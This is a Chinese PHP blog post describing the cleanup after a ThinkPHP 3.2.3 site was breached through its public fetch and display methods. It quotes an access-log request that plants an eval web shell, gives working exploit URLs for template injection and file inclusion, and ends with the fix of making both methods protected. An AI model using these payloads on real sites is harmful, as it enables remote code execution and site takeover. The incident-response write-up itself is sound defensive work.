当前位置:首页 > php > 正文内容

记一次tp3.2.3因fetch导致的漏洞处理过程

phpmianshi8个月前 (06-04)php769

问题描述:


最近发现百度收录大幅度下降,并出现大量5xx错误,有些收录页面直接跳转到其他网站,如下图:


图片.png


问题追查

1.根据以往经验首先怀疑网站被植入或者挂马

          于是排查系统日志,因为php项目的植入基本是通过eval植入的,所以我们直接:

          grep eval   nginx.log   发现类似如下日志:

{ "@timestamp": "02/Jun/2020:22:26:21 +0800", "remote_addr": "10.105.193.11", "referer": "-", "request": "GET 
/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('hmseo.php','<?php%20@eval($_POST[hm]);?>hmseo')</php>
 HTTP/1.1", "status": 200, "bytes": 5, "agent": "Mozilla/4.0 
(compatible; MSIE 9.0; Windows NT 6.1)", "x_forwarded": 
"185.207.155.138, 10.105.193.84", "up_addr": "unix:/tmp/php-cgi.sock","up_host": "-","up_resp_time": "0.021","request_time": "0.020" }

2.根据日志基本确定就是被植入了,结合我们网站和wap使用的框架,确定这是tp3.2.3的漏洞

            漏洞概述


            远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到getshell的目的。


            一共有两种方式植入:
            第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

            fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell


            第二种是通过构造a参数的display方法,实现任意内容包含漏洞

          display函数的作用是加载模板和页面输出

          所对应的参数为:
          $templateFile 指定要调用的模板文件

          $charset 模板输出字符集

          $contentType 输出类型,$content 模板输出内容。

          templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,然后调用Thinkphp Controller 函数的display方法



3.实战演练

         我们通过fetch方法构造url如下:www.phpmianshi.com/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

         然后执行上面的url就可以在项目目录写入test.php  打印服务器的phpinfo信息,打开 www.phpmianshi.com/test.php 发现可以直接看到phpinfo


        我们通过display方法构造url如下:www.phpmianshi.com/?a=display&templateFile=phpmianshi.txt

         然后执行上面的url就可以直接显示phpmianshi.txt的内容


         根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 Application\Common\Controller 路径下的 BaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法


解决方案

1.这边有问题的是display函数和fetch函数,display 和 fetch 函数的修饰符改为 protected  即可修复

2. 修复完成后,我们再执行 第三步:实战演练中的操作,发现不会再有植入的代码,说明修复成功




版权声明:本文由PHP面试资料网发布,如需转载请注明出处。
分享给朋友:

相关文章

php-fpm backlog参数优化

php-fpm backlog参数优化

一、问题分析       1、分析php-fpm.slow.log发现没有执行慢的地方,然后把目光放到了nginx 与php建立连接的阶段上,使用tcpdump...

PHP中const和static的区别和联系

1.const是类中的常量,类外用define定义常量2.const只可以修饰类的属性,不能修饰类的方法,static可以修饰属性,也可以修饰方法3.const和static都属于类本身,而不属于ne...

PHP中如何实现进程间通讯

PHP中如何实现进程间通讯

进程间通讯机制——IPC(Inter-Process-Communication)。为了使得php5可以使用共享内存和信号量,必须在编译php5程序时激活shmop和sysvsem这两个扩展模块。  ...

php闭包的优缺点

闭包函数:临时创建一个没有名称的函数,经常作为回调函数来用。通俗的说就是:子函数可以使用父函数中的局部变量,这种行为叫做闭包。我的理解是: 闭包就是能够读取其他函数内部变量的函数。匿名函数赋...

composer安装提示killed解决办法

问题描述composer 安装或者更新时报错killed ,因为当前内存不足。composer require "hhxsv5/laravel-s:3.7.8"...

PHP程序员解决问题能力的六个级别

青铜  var_dump/die打印变量值信息单步调试是最简单粗暴有效的解决问题方法。高级一点的是使用打印日志。白银 会设置各种错误日志的记录和显示,并根据各种错误日志分析错误或者搜索别人的...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。